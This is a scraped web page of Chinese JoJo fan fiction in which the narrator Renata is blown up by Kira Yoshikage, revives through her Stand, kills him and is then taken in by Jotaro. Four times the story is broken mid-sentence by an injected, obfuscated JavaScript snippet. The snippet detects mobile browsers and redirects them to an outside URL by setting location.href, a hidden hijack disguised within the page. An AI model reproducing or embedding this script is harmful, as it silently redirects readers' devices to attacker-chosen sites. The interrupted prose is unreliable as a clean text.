但他那副暴怒的模样只持续了不到半秒钟,他很快理了理他的发丝,深吸一口气,恢复他平时那副目中无人的状态。 “我吉良吉影一直都维持着普通人的生活,没有任何不良生活作息,认识我的人都说……” “停。”我打断他,“你说这段话的意义和目的是什么?你以为你在相亲吗。” 他没有因为我打断他而生气,或者说,他生气了,但没有显露出来:“在我说话的时候不要打断我!呼,算了,至少你只是偶尔会不太礼貌。” 他接下来又用一种有点恶心的痴迷的眼神看向我,让我头皮发麻,他说:“你的手很好看,非常漂亮完美,这些年来我杀过那么多女人,你的手是我见到过的最完美的一个……” 接着他突然开始回忆他小时候在图书馆的一本书里看到蒙娜丽莎的画像产生性冲动了的这件事。 ? ?? “莫名其妙。” 我忍不住开口打断陶醉于一个人世界中的他,“你真的很莫名其妙。喜欢手就喜欢啊,每个人都有点xp,但你为什么要杀人,为了取手?疯了吧你,别拿你的xp来掩盖你其实就是无法控制自己杀人欲望的事实。” 吉良吉影眼神变得阴冷了起来,紧接着又露出了春风和煦的笑容。 嘶,这家伙,他自带两张脸吗。 “你说得对,我确实有着不杀人就活不下去的本性,人无法压抑自己的本性,即便如此我也深信我可以获得一个幸福的普通人人生。这是因为——” 他说着朝我投掷过来一本书,我接了过去,发现那是他的相册……他干嘛,我不想要这个。 “【杀手皇后】第一炸弹!” 伴随着他的替身按按钮的动作,我立刻反应过来他丢相册给我不是为了闲聊,这有诈啊!可恶,我被忽悠了! 我大声叫着:“约旦河!” 我想把这本书传送回去,但是来不及了! 这本书在只有四分之一穿过门时爆炸了,毫无声息地爆炸了。四分之一的爆炸波及到了吉良吉影,而剩下四分之三的爆炸直接正面炸伤了我。 炸弹在我的腹部炸出了个洞,连带着炸伤了我的大腿,我感觉我的内脏要从被炸穿的地方流出来了……我吃痛地翻了个身,努力让内脏不要掉出来,控制不住拿手去捂住那个恐怖的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15233708|165982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洞。 我这辈子没有受过这样重的伤,从未流过这样多的血。我想哭,想尖叫,我的怒火让我的面目表情变得扭曲起来。 无法原谅无法原谅无法原谅…… 鲜血染红了我今天穿的白色衬衫,不断流淌下来,侵染我身下的木制地板。我倒在了地上不停喘气,充满痛苦地呻吟着:“我要杀了你……杀了你……” 吉良吉影大笑着:“我就知道你会传送走炸弹,还好没有炸到你的手啊,我可不想最后什么都没有收获到。” 他被四分之一的炸弹波及到,手臂只被炸伤了点,但这点伤口与其它被炸伤的人相比,根本不值一提。 我伸出手想要抓住约旦河:“杀了他杀了他……” 约旦河没有动,它看着我挣扎的模样,轻声说着:“没用了。他就是冲着信息差才做到炸伤你的,伤成这样你爬不起来了。如果你当时在他一进门时就干掉他,根本不会发生这样的事。哪怕只有一丝怀疑,你也应该铲除他的。” 我控制不住地掉眼泪。我不想死在这,因为我不想让吉良吉影得偿所愿。但我拼尽全力拖着我被炸得残缺的身体,我也无法移动。 而在这时,收音机又将那首歌重新播放了一遍。当那个女人欢快地唱着“Que sera sera”之时,吉良吉影面带着胜利的微笑向我走来。 他这副小人得志的嘴脸让我愤怒无比,我多么希望能够撕碎他。他张口说了些什么讥讽的话,但我的耳鸣太过严重,我听不清他的话,我很痛,但比起痛,我更多的是愤怒与不甘心。 我不想死我也绝对不会死,就算我真的要死,我也应该带着这个混蛋一起死! 仿佛是察觉到我的愤恨和怨念,吉良吉影笑得更满意了。 我不顾不断快要掉出来的内脏,强撑着爬起来,小声说着:“你完蛋了。” “唔……你在说什么呢?蕾娜塔,我听不见哦。”他还在笑,“嘛,不过也没有关系了,反正你也要死了。” 正当我咬牙准备再博一次,好歹在我死前让他也受点苦。约旦河按住我了,它把它的脸靠近我的耳朵。 “你不会死的,蕾娜塔,”约旦河轻声呢喃,“还记得你溺水那次使用的能力吗?使用「逆转沙漏」吧。” 逆转沙漏……? 约旦河:“这是你唯一的自救手段了。是拖着残缺的身体给他无痛无痒的一击,还是通过试炼复活以最好的状态来杀死他……你自己选吧。” 试炼吗……不知道那是什么试炼,但只要是能够让我拥有杀死吉良吉影的可能性,我都要去赌一把! 在吉良吉影一步步朝我走来时,我咬牙:“约旦河「逆转沙漏」!” 在我话音落下的那一瞬间,约旦河手里出现了一把金色花纹的手枪,它抛起这把手枪 ,然后将它对准我的太阳穴—— “砰!” 子弹射穿了我的脑门,我再一次倒下去。在快要失去意识时,我看着吉良吉影,轻声说着:“你完了。” 要是我真的能够复活,那么他死定了。我一定会通过试炼复活的。 8. 逆转沙漏 其二 杜王町郊外,荒无人烟的山腰处,一个穿着被血沾污的有些破烂衣服的人影摇摇晃晃地从杂草丛中爬了起来,伴随着不明的呜咽声。 这个场景其实有点惊悚,容易让人联想到丧尸或者冤魂不散之类的恐怖流电影……但因为这个突然爬起来的人是我,所以局面变得有些迷惑起来了。 如果不是因为这是大白天,而且我还活的好好的,我简直会以为自己被抛尸荒野了。 我揉着我像是被开了个洞一样痛的头从地上爬起来。 这是哪?我之前不是在打柱男吗?不对,那好像是个梦,我现实里之前应该是…… 我瞬间回想起了一切。 哦,原来是吉良吉影那个该死的混蛋变态人渣伪君子把我炸得没个人形,然后约旦河那个不要脸实际上也没有脸的家伙让我使用能力实现死而复活,我信了它的鬼话,用了那个奇怪的招式,结果它就拿起手枪对准我,然后朝我开枪。 之后……我突然多出来那段的模糊的记忆,应该是约旦河口中的那个“可以让我复活的试炼”。 那段记忆有些模糊,虽然我是以“我”的视角通过的试炼,可那似乎又并不完全是我,它像是我多出来的另外一段人生…… 当我正想仔细回忆那试炼的内容时,我的脑门心传来剧烈的疼痛,刺激着我的神经,我的注意力立刻被分散到我那仿佛被虫子啃咬了的可怜的脑子那。 醉了,到底为什么会这么痛啊……等等,这个地方…… 我摸了摸产生痛觉的主要地带,惊恐地发现:这是之前我被子弹射穿脑子的地方。 我靠。那个多出来的记忆是啥想不起来就想不起来,可约旦河那个鳖孙我绝对不会原谅它! 虽然说从结果来说我是复活了,但是它知不知道子弹射穿脑门有多痛啊? 本来我记性就差,这下更差了! 这时约旦河突然出现在我耳后幽幽地说,吓我一大跳:“融合必定伴随着痛苦,这是宇宙的规律,也是我无法消去的过程。” 我盯着它那张吓人的没有五官的脸,心里打鼓,完全听不进它在说什么。它到底为什么那么喜欢吓我,就因为我经常骂它,它就用这种方式报复我吗?它就不能学习一下亿泰吗,我偷偷阴阳了亿泰好几次,他没一次发现了。 约旦河飘到我正前方:“「逆转沙漏」这个招式……” 我不耐烦地说:“够了,我不想听你解释。你要解释的话,你早就该在第一次使用能力就跟我解释了。” 这家伙满嘴跑火车,没有一个字我敢信,就连试炼里的那个坑我好多次的JOJO都比它更可信。 “我问你答,我曾经那场溺水是真的溺死了吧?” “嗯。” “溺水后我做的那个梦也和这次一样是试炼,而你口中的融合就是试炼?” “……嗯。” “哦,好,你可以退下了。” 我试图打开手机,但却发现我的手机早就碎成渣渣了。于是我只好先离开这片一直在扎我腿的草丛。现在我身上一股子腥味,我脑子还在痛,这让我很烦。 然而我不听,不代表约旦河不会说。 “一切都是命运的选择,蕾娜塔。我知道你很不满,因为我没有提前告知你就拿子弹毙了你。”约旦河说,“但我是为了你好,你必须要使用那个能力,不然你就无法改变既有的命运,无法获得改变命运得到的馈赠,更无法成为最强者,然后……” “哦,最强者?”我笑了,“你口气怎么这么大,难道……” 约旦河又打断了我:“你还记得之前的事吗? “你是说你什么也没说然后拿枪把我毙了让我死遁的事?” “不是,是那中间。” 我瞬间明白了约旦河的意思,它是在说我的那个试炼。 我再次尝试回忆,但依然无法回忆清楚。我只记得那场试炼里,我似乎……那应该是我溺水死亡那次试炼的后续,主角依然是我还有JOJO。 只是不知道为什么JOJO的性格大变,和之前不太一样了。 他明明之前很温柔绅士。不过我的形象也发生了一定变化,所以这应该不重要。 我们似乎为了和平还是人类……要去解决一个名为柱之男的物种……细枝末节的东西无所谓了。 关键是,我在那个试炼里学会了一个东西。 “波纹疾走。”我呢喃着,“该不会我可以使用波纹吧,在现实里也可以?” 为什么不试试呢? 我的心里有一个声音悄悄说:试试吧,看看你能够拥有怎样的力量。 我集中呼吸,将波纹力量的感觉集中于指尖,然后朝石头劈去,在我的指尖接触到石头表面那一刻,石头立刻被我的波纹碎成了渣渣。 是我所熟知的波纹。 妈呀……赚大发了,这个东西可不得了,那我现在不就可以去干掉吉良吉影吗? 我满意地看了看约旦河:“虽然不知道你到底想干嘛,不过就结果来说,我拥有了这个能力非常不错。” 我敢说我现在的□□已经远超普通人范畴了。哇不知道可不可以一拳抡死一个人呢?哪天找个机会试试吧。 约旦河淡淡说:“你拥有的最好用的能力是我。多亏这一次没有麻烦的家伙来干扰,我也变得强大了。” 我翻了个白眼,接受了约旦河的自卖自夸,然后听约旦河解说它的新能力。 蓦然回首。好像是可以调整单个物体的时间状态,使它静止或者将它状态调整回30秒以前,持续效果为五秒。 听着约旦河的解说我突然想到,这个能力如果配合上仗助的疯狂钻石,不就无敌了,只要是死了没超过30秒的人,我俩不都可以奶活吗? 约旦河表示不认同:“逆转生死状态在宇宙中是大忌,除非是活在永恒不变中的生物,可永恒的生命体不会真的死亡。” ……我不也是死而复活的吗,懒得喷。不管了,我现在就走出森林然后去找吉良吉影。 我已经迫不及待想看看新能力能有多强了。 约旦河突然又说:“顺带一提,你现在被通报为失踪人口了。” 我:“?” 约旦河说:“因为吉良吉影拿走了你的手,为了补全你残缺的身体,这次「逆转沙漏」的时长花了四天,所以你已经是被登记在案的失踪人口了。” 我沉默了一会,反问:“那么吉良吉影是不是以为我已经死的透透的了?” “当然。” “桀桀桀桀桀桀。”我忍不住发出怪笑,“那么他马上就要接受到我的大惊喜了!桀桀桀桀………” 约旦河:“你不先回去找阳莱她们报个平安吗?” 我无语:“当然不了,我要先弄死吉良吉影再回去。” 约旦河突然也发出了一阵莫名其妙的阴笑声,搞得我有些想扇它一巴掌。 它笑完突然又很温柔地说:“太好了蕾娜塔,你终于开始转化了……一切都按着命运的轨迹在行动。你终究会成为主宰世界的帝王。” “……你中二病又犯了。” 真的不知道约旦河干嘛莫名其妙就说一些很奇怪的话,它以为它是什么算命的吗? 现在都1999年了,马上就要21世纪了啊! 发现我可以使用波纹后,我毫不费力地从山腰跑到了小镇,吉良吉影家门口。 正当我冠冕堂皇地踏入他的宅子时,我突然感受到了一个阴冷的气息—— 我马上看向那股阴冷视线的来源,然而那里什么也没有,突然电话声响起了。 我接通电话,里面传来了一个恶臭的老男人叫声:“你是吉影之前杀死的那个女孩?你怎么还活着?你到底要干嘛!”他咒骂了我一长串,我静静地等他说完,然后让约旦河找到他,并解决掉这个小啰啰。 对于这样装神弄鬼,实际上毫无强大力量的人来说,约旦河解决掉他们不需要花费什么力气。 虽然约旦河坑害过我几次,但既然现在我们还绑在一起,为什么不好好利用它的强大呢? 那时的我还没有注意到,我心里的一些想法在潜移默化地发生改变。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15233709|165982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>如同恒星始终按着自己的轨道运转一样,每个人都拥有自己的轨道。只不过与恒星生来便在那轨道之上不同,人需要借由外物或自己走上轨道。 此不断走上正确道路的过程,人们称之为命运。 而此刻蹲在墙角阴暗注视着吉良吉影走进房间的我相信,他的命运便是在今天死于我手中。 他应该感谢我,这是他所能迎来的最正确的结局。 当我从他家楼梯上跳下来时,我高达5.2的视力可以清晰地捕捉他的面部表情变化,看着他那副糅合了震惊愤怒不可置信恐惧……的表情,我感到前所未有的满足。 我猜这家伙一定在想:她怎么活了?还是以这副山林野人的模样出现! 于是我咧嘴一笑:“你太祖奶奶归来!今天就是你的死期!” 我一拳将他抡倒在地。一开始我还有注意着和他保持距离,不要碰到他的手,否则他会再次发起炸弹。 他的杀手皇后能够制造的应该都是接触型炸弹,需要手碰到某个物体,同时按下按钮才可以将那个物体变成炸弹。换言之,只要是近身战和连打是最容易克制他的战斗。 在我的攻击下,不知道为什么他始终没有叫出他的替身,我没有放松警惕,然后—— 他跑出门了。 我自然追着过去,和他隔着一条马路站着,他浑身是伤,气喘吁吁,精疲力尽地看着我:“你……” “你的下一句话是:你怎么还活着?”我说,“这不重要,思考这点是无用的。重点是,你的付出让我得到了试炼,我变强了。虽然说我之前确实想把你狠狠折磨一下再杀死你,毕竟你之前炸我的时候,我可是真的很痛啊,肠子都掉出来了,呵……可我现在已经不介意了,看看你现在这副模样吧哈哈哈。” 吉良吉影的脸色随着我说的每一句话而愈发崩坏,我阴暗地揣测在他崩溃的面庞下,他是不是在想该怎么逆风翻盘?别想了,他完蛋了。 但我依然大发慈悲地说:“在你死之前,我可以给你一个机会让你选择一个不痛苦的死亡方法,告诉我吧,这个箭是什么?” 我拿出了那把制造精美的箭,这是我从他家里捣鼓出来的,因为散发着很不妙的气息,所以我拿出来了。 吉良吉影的眼珠子转动了一下,然后他深深凝视着我:“这次好像真的是我要输了,但真的是这样吗,蕾娜塔?你变强大了,我的杀手皇后也会比变强大……” 我看着他抬起手做了一个似乎是想要按下按钮的动作,那是杀手皇后第一炸弹发动的动作。我的心脏瞬跳到嗓子眼那,我立刻朝他跑去,想要阻止他:“吉良吉影!” 但是来不及,他立刻掰住了一个路过的小学生:“喂,早人……” 那个小学生颤抖着别过头去,我拧起眉头,让约旦河靠近我,再次发动传送,直将那孩子传送到了我怀里,我看向吉良吉影:“你傻了吧,在可以传送的人的面前挟持人质?” 吉良吉影这时表情突然变得从容了起来了,他冷笑着看向我:“蠢的是你啊,蕾娜塔,杀手皇后已经进入你的眼中了。” 我顿时低头看向那孩子,迷你版的杀手皇后从他身上爬出来,我大感不妙,立刻让约旦河将这孩子传送走,但是来不及了! “这是杀手皇后第三炸弹【败者食尘】!” “你又输了,蕾娜塔。”吉良吉影发出猛烈的笑声,似乎在为他的又一次逆风翻盘而欣喜若狂。 可他一定不知道吧,半路开香槟的人一定会输。他失去了他的冷静的虚伪外表,为这一丝可能的胜利而沾沾自喜,从心理战上来说,这样的人注定会输。 “哈哈,”我转头看着他无情地发出嘲笑,“你再看看呢。” 吉良吉影张狂的笑容定住了,于是他便看到我怀里的小学生连带着杀手皇后都一动不动,他瞪大双眼:“这不可能……你的……” “约旦河第二定律【蓦然回首】”我看着被静止的杀手皇后和小学生,从地上站起来:“虽然只有五秒可以静止他们的时间,不过——” “五秒,足够了。” 9. 不可思议的夏天结束了 吉良吉影死了。 那五秒仿佛有一个世纪那么长。我低头看着我手上的鲜血。已经干了的是我的血,还滚烫着的是他的鲜血。 不知道为什么,我总觉得从今天开始,我注定不会过上平凡的人生了。是因为我杀了一个人吗?还是因为……我看向约旦河手中握着的那把箭。 吉良吉影至死都没有告诉我关于这把散发着不详气息的箭的更多消息。我记得仗助说过亿泰的哥哥那也有一把箭,那把箭可以制造替身使者。 首先可以肯定,这不是同一把箭。那么它们是否是相同类型的呢……我把目光看向那个时间状态开始重新流动的小孩:“你可以解释一下为什么吉良吉影的杀手皇后刚刚附在你身上吗?” “杀手皇后?”那个小孩恍惚地回答我,然后惊叫一声跑向吉良吉影的尸体:“这家伙死了吗?他是被大姐姐你弄死的吗?” 这死小孩会不会说话啊,怎么搞得跟我是个杀人犯一样。 这能叫杀人吗?这能叫吗!这叫替天行道恶有恶报行侠仗义因果轮回。 我拧紧眉头,准备拿起箭射那个小孩,那个小孩却突然跑过来扑进我的怀里,开始痛哭:“呜呜太好了我还以为我今天必须得死在这呢呜呜呜谢谢你啊大姐姐!谢谢!谢谢!” ……我绝对不会承认我有点心软了。但这么懂事的小孩真的太少见了吧!就算是我,在他这个年纪,也是个超级无敌邪恶的混蛋小孩啊! 我默不作声地让约旦河收起了那把箭,随口问道:“你可以告诉我你们之间发生了什么吗?” 小孩哥全盘托出了。 “今天是我度过的第四个今天。在我……” 我听了他说的那段话大概猜出来了来龙去脉,大概就是仗助他们在追查失踪的我的下落,他们追查到了吉良吉影头上,然后吉良吉影因为无法对抗他们在绝望中觉醒了一个新的能力,这个新的能力似乎可以帮助他穿越回一个小时前还是什么,但这个新能力需要一个发动载体,于是路过凑热闹的小孩哥就很不幸地成为了这个发动契机…… 额总之大概是这样吧,我听到一半就不想听了。 小孩哥很认真地给我讲他这几次的惊险机遇,但其实没必要,因为我不是很想听。吉良吉影死都死了我还听这些干嘛。 他似乎也看出来我的心不在焉了,很快速地说:“第一次的时候,我炸死了和他决斗的那些人,结果没想到在后面的回溯中,哪怕我没有接触他们触发那家伙的能力,他们也会在相同时间点被炸死……所以我今天本来是打算直接来干掉他的,否则等一会那些人就要死了。” 我目瞪口呆地看着这小子,忍不住说:“你有没有想过,他可能会直接干掉你?” “那家伙肯定会杀掉我,不过是早点还是晚点的区别。”小孩哥没有哭了,脸上显露出决绝和痛恨,“既然这样,我绝对不能坐以待毙,也不能看着那些可以威胁到他的人就这样死掉!” 他说完话音一转,看向我:“之前几次没有看到姐姐,没想到这次姐姐突然出现就干掉了吉良吉影,难道是因为我选择直接来他家门口堵他引起的改变吗?无论如何,我都要感谢姐姐……” “停停停。别叫我姐姐了,叫我蕾娜塔吧。你叫什么名字?” “川尻早人。” “哦好的,早人小朋友。现在你该做的事情是乖乖回家和你爸爸妈妈吃饭然后早点……” 我没有把话说完,因为警笛声打断了我的思路。 我这才惊恐地看向吉良吉影的尸体,又惊恐地看向我满手的鲜血和蓬头垢面跟疯人院跑出来的扮相。 这怎么看我都是那个杀人犯啊?呃呃呃虽然确实是我杀的吉良吉影,但我这,哎哟,我这,总之我不想因为这家伙坐牢啊?! 早人看着我的脸色黑了又白,白了又黑,瞬间明白了一切,握住我的手:“蕾娜塔姐姐,你快点跑吧!” “好孩子。”我感动地回握住他的手。 …… 我当然没跑了。 唯一没有监控的逃跑路线是警车驶来的那条路,我怎么逃。 呵呵。 所以我现在坐在看守所,面对警察的询问保持一个回复:“我才是受害者。” 在我脑子思索着到底该怎么做才能逃掉这个牢狱之灾时,一个标准英剧打扮的律师走了进来,朝警察递了张名片:“我是她的律师,接下来……” 我目瞪口呆地看着站在律师身后的那个高大的穿着白大衣的男子。 “这是怎么回事?额,东方先生?” “我的名字是空条承太郎。”他拿手压了压帽子,让我出来:“接下来spw集团会解决一切,我先送你回家,你的母亲们很担心你。” ……spw集团? 虽然我不关注各种财团新闻,但是spw集团我还是知道。因为我小时候呆的那家孤儿院是spw集团资助的啊! “我可以问问您和spw集团的关系是?” “家族企业。” “?!”我倒吸一口气。财阀竟在我身边?! 所以说东方仗助他家那么有钱?!他还跟我哭穷????他还装可怜让我请他吃东西!!可恶啊啊啊东方仗助你这个混蛋男高! 我心情复杂地跟着仗助他亲戚离开了警局。 当我的脚刚迈出警局大门,我就听到一个活力十足的声音:“蕾娜塔!太好了!你还活着!” 一个模糊的身影冲了过来,他一把把我的腰揽过去,一只手压着我后脑勺,下巴抵着我的头,亲密地拥抱住我,超大声地说:“你不知道啊,我们几乎翻遍了整个杜王町都没有找到你,把我吓死了,我还以为,以为你被那家伙杀死了!” 这个声音,这个纯正阳光dk味……是仗助啊。 我其实完全没听清他在说什么,因为我被他的胸给袭击了……我这辈子也没有想到我的第一个埋胸对象竟然是男人,还是比我小的男人! 但是仗助的胸肌非常可口啊,又软又香,触感美妙,体温恰巧合适……可口到我决定原谅一切了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15233710|165982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >主动送上门,不埋白不埋。我强压着嘴角的偷笑把脸继续埋在仗助的胸里,感受着这美妙的触感—— 然后被空条承太郎一把提着领子硬生生扯开了。 他看着仗助严肃地说:“仗助,你需要注意异性之间的边界。还有,现在晚上了,你明天还要上学,早点回去。” ……不要注意啊,仗助!他爱怎么样就怎么样,不许批评他啊!有事冲我来! 虽然我很想这样大声反驳空条承太郎,但是碍于他还是个长辈,而我一向拥有尊老爱幼的美好品德,我憋住了。 ** 空条承太郎拉开门让我上车时,我看了看这辆看上去就很贵的真皮车后座,指了指我身上沾血的衣服,看向他:“空条先生,您确定?” 他看了看我,把他的大衣外套脱下来,垫在座位上:“上车吧。” ……你的衣服价格难道不会更贵吗。 看着仗助已经乖乖坐上车了,我也懒得客套,直接坐上车:“空条先生,我会去杀吉良吉影是因为……” “事情经过我在早人那里听说了,你不需要再重复一遍。” 干得好,早人! 这家伙人不错嘛,正好我也懒得说。但是仗助显然没有听早人说过,他连忙问我:“你这几天去哪了?” “去扮演尸体了。一天三十万日元,日结。” “在哪?!” “……仗助,等你老了记得来我这里买保健品。” 仗助这才反应过来我刚刚是在胡言乱语,嘟起嘴:“算了,你不说就不说!” 哇,他不会跟我来“如果不告诉我,我就不和你好了”那套吧? 抱歉,我情商比较低,听不懂呢。于是我两眼一闭,睡着了。 等到了地方,空条承太郎把我摇醒,我这才迷迷糊糊地爬起来。 于是,扮相狼狈的我就这样和双眼通红面容憔悴的阳莱和直子见面了。 在她们两个抱住我的时候,我控制不住哭了。我很想告诉她们,这看似短暂的四天发生了什么,我很想告诉她们…… 但我不能说,也不知道从何说起。 在她们问我是什么让我离家出走这么多天,我费劲所有力气试图想出一个合适的借口时,站在一旁看着我们抱成一团哭的承太郎突然开口了:“蕾娜塔,我或许认识你的父亲,你想知道关于你父亲的事情吗?” ……虽然我很感谢他帮我转移了注意力,但是这个话题转的也太糟糕了吧?! 大哥,你好歹找个靠谱的话题啊! 但这个话题很有效地转移了阳莱和直子的注意力,她们异口同声震惊地大叫:“你认识蕾娜塔爸爸!” 我连忙摇头:“空条先生开玩笑呢。” “呀勒呀勒。这种事情,我不会随便开玩笑的。” 我:“……” 不是,认真的,哥们? 这都什么事啊?为什么一个吉良吉影死了就得给我来个爸爸。 1999年,你真的对我太差劲了! 10. 再见了杜王町,我还会回来的 仗助在知道我可能的生物学上的父亲或许是空条承太郎的朋友,开始非常兴奋地和我讲空条承太郎有多厉害,他有多崇拜敬仰承太郎先生。 我只听了一句话“承太郎先生的白金之星拥有时停的技能哦”就不想听了,开始发呆。 如果吉良吉影没死,我可能还有兴趣听听。于是我开始思索我去意大利后到底是住学校还是住校外的公寓…… 要不住校外公寓吧,我不想和人住一间房,而且也方便我堆放画材。 仗助突然猛摇我,问:“我刚刚说承太郎先生去埃及干嘛了?” “……不知道,没听。”我理直气壮地回复。 仗助一脸“你怎么可以这样”大声叫着:“你为什么不听我说话?!” 那不是废话吗,他那张嘴一看到我就吧啦个不停,要是每句话我都听,那我不累死。 我敢说如果条件允许,这家伙会没脸没皮地在地上撒泼打滚。 因为被他发现他说我不感兴趣的话题时我会发呆然后不听,所以我被迫请他吃了冰淇淋…… 东方仗助这小子! 算了,我懒得喷他。 好消息是:承太郎先生说,他那个朋友——也就是可能的我的生物学上的爸——早就死了。 所以不会发生那种从我人生中消失了十七年的父亲突然出现然后带走我的恶俗剧情。哈哈。 坏消息是承太郎先生留给我一张相片,似乎是他们的合照,背景是沙漠。 我仔细看了看相片中那个可能是我父亲的男人,悲哀地发现我们长的真的太像了!他可能真的是我素未谋面的父亲。 承太郎先生看我反复看了那张相片很久,开口说:“你可以留下这张相片,不过我没有他的更多照片了。或许花京院那里有,他也是你爸爸的朋友。” “……不用了,这张就够了。” 其实我这张也不想要的…… 从他去世年份来看,他是有那个时间来孤儿院找我的,但他没有。甚至连他的生死之交都不知道他有孩子!这说明什么?这家伙要么是个坑骗女人的渣男,要么是个不负责任的人渣。 ……还好他死了,我可不想和这样的家伙上演亲情戏码,呵呵。阳莱和直子对我可好了!渣爹滚蛋吧。 空条承太郎听到我无所谓的语气沉默了一会,转而说:“你父亲埋在了法国,如果你想去看望他的话……” “有机会再说吧。”我含糊地说,把那张相片收进了包里。 空条承太郎这时突然问我:“你的替身能力是什么?” 他问这个干嘛。虽然我满腹疑惑,但我还是直接告诉了他我的替身能力,不过我只说了可以传送的乌有之门。 看仗助对空条承太郎的崇拜程度,时间系替身能力应该都挺牛的,死而复活的能力更是了!我才不要告诉他,这可是我的底牌。 他听到我说传送的能力,眼神突然变化了一下,转而问:“你很在乎你的养母们?” 这家伙怎么突然会说话了,不可以变回之前那个沉默人设吗。 “她们才是我在这个世界上唯二的真正的亲人。” 我委婉地暗示他,你那个朋友就算真的是我爸,我也不想认他,更不想知道你俩都去干了些啥。希望他能明白。 他没有多说什么,只是说如果以后有需要帮助的可以直接打他的电话,还说他这个夏天都会留在杜王町完成他的博士论文,我有需要可以直接来找他。 真上道啊。不过他竟然是海洋学博士生,我还以为他是模特呢。 好在,因为我爸的事,让阳莱和直子忘了继续问我这几天到底干什么了。我还没想好该怎么编。 她们在得知我的父亲是自杀身亡后,唉声叹气了好久。阳莱告诉我,其实直子早年也差点就跳江了呢。因为那个时候没人要她写的歌,生计都成问题,她妈妈还得了重病。 我惊讶地看向直子,完全无法想象这个看上去爽朗无比的帅气的中年女人竟然会想过自杀。 直子摆摆手:都过去啦,我现在超——幸福的啊!有这么好的爱人和女儿,梦想也差不多实现了,每天都很快乐。这可是二十多年前那个穷困潦倒的我只有在做梦的时候才敢碰的生活呢。” “所以说蕾娜塔,无论你遭遇了什么,都千万不要轻易放弃自己的生命。你身后还有我们在呢,天塌下来我俩都会替你顶着的,安啦安啦。” 阳莱和直子似乎很担心我的心理健康,可能是因为我突然消失了四天吧……我也没有解释过多,听了她们的建议在家里休息了几天。 过了几天,我才主动去海边找空条承太郎。 我问他:“警局那边怎么样?没问题的话,我就回去读书了。”我可不想学上着上着突然被抓走了。 “我正想找你,”他放下他手中的手,“吉良吉影的尸体消失了。” ……? “所以是我的嫌疑已经被洗清的意思了吗。”我的眼神直勾勾地盯着小桌上的鲜榨西瓜汁,空条承太郎非常上道地直接给我也倒了一杯。 “没有问题了。而且因为他的尸体突然消失,除了你和最开始见到那具尸体的警员,没有明确的证据表明吉良吉影死了……” 我咬着吸管:“哇真好,那就没事了。” 空条承太郎还想说些什么,但我不想谈这些了。吉良吉影死了,他的事就到此为止吧,如果他的尸体消失会引发什么连锁反应,那也是未来的我该考虑的事情。现在的我除了凭空猜测什么也做不了,还不如就不管这事了。 夏天快结束了,我也该让这个充满替身使者的奇妙夏天画上个句号。 于是我跟他说了声再见就溜了。 * 回到学校后,同学们都对我表达了热烈的关心……大概是觉得我之前失踪是因为画画画疯了吧,所以大家都挺担心我的。 甚至还有了奇怪的谣言详细分析了我是如何失心疯的……分析得挺头头是道的,如果不是因为我是主角本人,我都要信了。 不过这都无所谓。 因为我很快就要离开杜王町去意大利读书了。 第一个知道我要去意大利读书的人是岸边露伴,因为我找他有事商量,就顺便告诉他了。 我拜托他对我使用“天堂之门”。 “我拒绝!”岸边露伴说,“凭什么你让我用,我就用。” “……”我沉默了一会,松开了我捏紧的拳头,淡淡地说:“你之前不是发现我死而复生过吗,其实这次我也是因为死亡才消失了四天,你不好奇到底发生了什么吗?这可是难得的素材。” 岸边露伴一听,果然就有些按耐不住了,但他还是装模作样地说:“但从来没有人主动逼我去看,这也太奇怪了吧?” 我:“你到底看不看……” “天堂之门!”岸边露伴瞬间发动了他的能力,我应声瘫倒在地,他马上冲过来,翻我脸上和身上的书页。 我正等着他说我那两次奇怪的试炼呢,结果他突然大叫:“哈!我就知道你那天在色眯眯地盯着我看,康一那家伙还不信!” “……”我忍不住开口大骂:“你个神经病关注点错误了吧!” 他一边翻一边低声感叹真是太棒了,一边又拿着小本子写写画画些什么……他这副样子真的有些神经质,不过他这人就那样。 总之,他翻了很久才翻完了。 我一爬起来,他就跟我说:“你身上肯定有很多秘密。” “?”这我当然知道,我让他翻不就是想知道那些秘密到底是什么吗? 似乎是从我的眼神中看出了我在想什么,他抿抿唇:“我看不到你那些秘密,他们还是一片乱码。可以确定的是和你那个替身脱不开关系。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 